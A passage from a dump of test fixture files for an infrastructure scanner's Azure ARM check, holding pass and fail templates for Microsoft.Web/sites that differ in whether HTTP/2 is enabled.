\"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": false,\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": false,\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": true,\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n    